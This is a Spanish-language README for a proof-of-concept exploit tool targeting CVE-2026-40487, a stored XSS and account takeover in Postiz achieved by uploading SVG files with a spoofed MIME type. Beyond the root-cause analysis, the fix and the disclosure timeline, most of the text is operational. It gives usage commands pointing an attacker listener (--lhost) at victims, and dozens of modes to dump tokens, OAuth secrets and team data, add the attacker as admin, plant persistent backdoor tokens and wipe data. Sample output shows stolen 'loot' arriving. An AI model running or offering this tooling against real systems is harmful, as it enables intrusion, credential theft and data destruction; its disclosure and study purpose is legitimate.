
Prueba de concepto del exploit para CVE-2026-40487, que demuestra la carga arbitraria de archivos mediante la suplantación de MIME, lo que conduce a XSS almacenado y toma de control de la cuenta en Postiz. Incluye múltiples modos de ataque para la exfiltración de datos, escalada de privilegios y persistencia.
Descubierto y reportado por: Astaruf
Informe completo: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
Entrada GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz es una herramienta de gestión de redes sociales de código abierto con más de 28 integraciones de plataformas (Instagram, X, LinkedIn, Facebook, TikTok, etc.), utilizada por más de 600 instancias expuestas en internet.
Un atacante con privilegios bajos puede subir un archivo SVG (o HTML) malicioso con una cabecera Content-Type: image/png falsificada. El servidor acepta el archivo sin inspeccionar su contenido real, conserva la extensión original, y nginx lo sirve con el Content-Type derivado de esa extensión (image/svg+xml). Cuando una víctima abre la URL, el JavaScript incrustado se ejecuta en el origen de la aplicación, otorgando al atacante capacidades completas de secuestro de sesión equivalentes a la toma de control de la cuenta.
La cadena de ataque:
Atacante sube .svg con Content-Type: image/png
-> El servidor valida solo la cabecera Content-Type (CWE-345)
-> El archivo se guarda en disco con la extensión .svg original (CWE-434)
-> nginx lo sirve como image/svg+xml
-> El navegador ejecuta el JavaScript incrustado (CWE-79)
-> Mismo origen: acceso completo a la sesión de la víctima
La carga útil XSS se ejecuta en el mismo origen que la aplicación. Aunque la cookie de autenticación es HttpOnly, fetch() con credentials: "include" la adjunta automáticamente. El atacante puede:
pos_* que nunca expira y sobrevive a cambios de contraseña)Tres componentes fallan de forma independiente, creando la cadena de explotación:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype proviene de la cabecera Content-Type en la solicitud multipart, que el atacante controla. No hay inspección de bytes mágicos, ni uso de librerías como file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) extrae la extensión del nombre de archivo proporcionado por el cliente. No hay verificación de coherencia entre el tipo MIME declarado y la extensión. El servidor también devuelve la URL pública completa en la respuesta, por lo que el atacante obtiene el enlace para enviarlo a la víctima.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx mapea .svg a image/svg+xml, .html a text/html. No hay Content-Security-Policy, ni X-Content-Type-Options: nosniff, ni Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Comprobar si el objetivo es vulnerable
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Exfiltrar todo de la víctima
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Crear una puerta trasera persistente
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Reutilizar el token sin credenciales
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Atacante Servidor Postiz Víctima
| | |
|-- 1. Login/Registro -------->| |
|-- 2. Subir SVG malicioso --->| |
|<---- URL del archivo --------| |
|-- 3. Enviar URL a la víctima ------------------------>|
| |<--- 4. Abre la URL ----|
| |--- SVG + JS ---------> |
|<-------------- 5. JS se ejecuta, exfiltra datos ------|
| Modo | Descripción |
|---|---|
dump-self | Perfil de la víctima, información de la organización, nivel, clave API |
dump-personal | Nombre mostrado, biografía, foto de perfil |
dump-integrations | Integraciones de redes sociales conectadas y tokens |
dump-posts | Publicaciones programadas y borradores (últimos 365 días) |
dump-team | Miembros del equipo, roles y direcciones de correo |
dump-media | Listado de la biblioteca de medios |
dump-notifications | Historial de notificaciones |
dump-signatures | Firmas de publicaciones |
dump-webhooks | Webhooks configurados y sus URLs |
dump-oauth-app | Credenciales de la aplicación OAuth (clientId, secret) |
dump-copilot | Hilos de conversación del copiloto IA |
dump-billing | Información de facturación y suscripción |
dump-settings | Configuración de enlaces cortos y notificaciones |
dump-third-party | Configuraciones de integraciones de terceros |
dump-autopost | Reglas de autopublicación |
dump-sets | Conjuntos de contenido |
dump-tags | Etiquetas de publicaciones |
dump-customers | Lista de clientes |
full-dump | Todo lo anterior en una sola carga útil |
| Modo | Descripción |
|---|---|
add-admin | Invitar al atacante como ADMIN en la organización de la víctima (--attacker-email) |
rotate-key | Rotar la clave API de la organización y exfiltrarla |
rotate-oauth | Rotar el secreto de la aplicación OAuth y exfiltrarlo |
| Modo | Descripción |
|---|---|
kill-notifications | Deshabilitar todas las notificaciones por correo |
edit-profile | Modificar el nombre y la biografía de la víctima (--edit-name, --edit-bio) |
wipe-signatures | Eliminar todas las firmas de publicaciones |
wipe-webhooks | Eliminar todos los webhooks |
wipe-tags | Eliminar todas las etiquetas |
wipe-sets | Eliminar todos los conjuntos de contenido |
wipe-autopost | Eliminar todas las reglas de autopublicación |
logout-victim | Forzar el cierre de sesión de la víctima |
delete-oauth-app | Eliminar la aplicación OAuth de la víctima |
| Modo | Descripción |
|---|---|
create-oauth-app | Crear aplicación OAuth, autoaprobación, exfiltrar token pos_* persistente (--oauth-redirect) |
steal-cookie | Robar el JWT de autenticación mediante document.cookie (cuando NOT_SECURED=true) |
| Modo | Descripción |
|---|---|
api-call | Llamada API autenticada arbitraria (--api-method, --api-path, --api-body) |
custom | Ejecutar JavaScript arbitrario (--custom-js) |
| Opción | Descripción |
|---|---|
--check | Probar si el objetivo es vulnerable (sin ejecutar el ataque) |
--register | Registrar una nueva cuenta antes del inicio de sesión |
-t / --token | Usar clave API o token pos_* en lugar de credenciales |
--format html | Usar carga útil HTML en lugar de SVG |
--proxy | Enrutar el tráfico a través de proxy HTTP/SOCKS (p. ej. Burp Suite) |
-o / --output | Guardar el botín en un archivo JSON |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — XSS Almacenado mediante Subida de Archivos con MIME Falsificado
[*] Iniciando sesión como [email protected] ...
[+] Autenticado.
[*] Generando carga útil: Exfiltrar todo en una sola carga útil
[*] Subiendo .svg malicioso con Content-Type: image/png ...
[+] Subida exitosa.
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Ruta: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Iniciando listener de exfiltración en 0.0.0.0:8888 ...
=================================================================
Envía esta URL a la víctima:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] Esperando a que la víctima abra el enlace ...
[+] Botín recibido @ 2026-04-15 03:45:41
etiqueta: victim-profile
datos: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] Botín recibido @ 2026-04-15 03:45:41
etiqueta: integrations
datos: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] Botín recibido @ 2026-04-15 03:45:42
etiqueta: team-members
datos: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
La versión 2.21.6 introdujo tres cambios:
file-type para inspeccionar el contenido real del archivoimage/*)| Fecha | Evento |
|---|---|
| 2026-04-10 | Vulnerabilidad descubierta durante la revisión del código fuente |
| 2026-04-10 | Reportada mediante GitHub Security Advisory (GHSA) |
| 2026-04-10 | Los desarrolladores la reconocieron y solicitaron aclaraciones |
| 2026-04-10 | Se proporcionaron escenarios de ataque detallados y datos de Shodan |
| 2026-04-11 | Disputa de CVSS presentada con evidencia |
| 2026-04-13 | Corrección publicada en v2.21.6 |
| 2026-04-14 | Asignado CVE-2026-40487 |
| 2026-04-15 | Divulgación pública |
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsala solo contra sistemas que poseas o para los que tengas permiso explícito por escrito para probar. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso.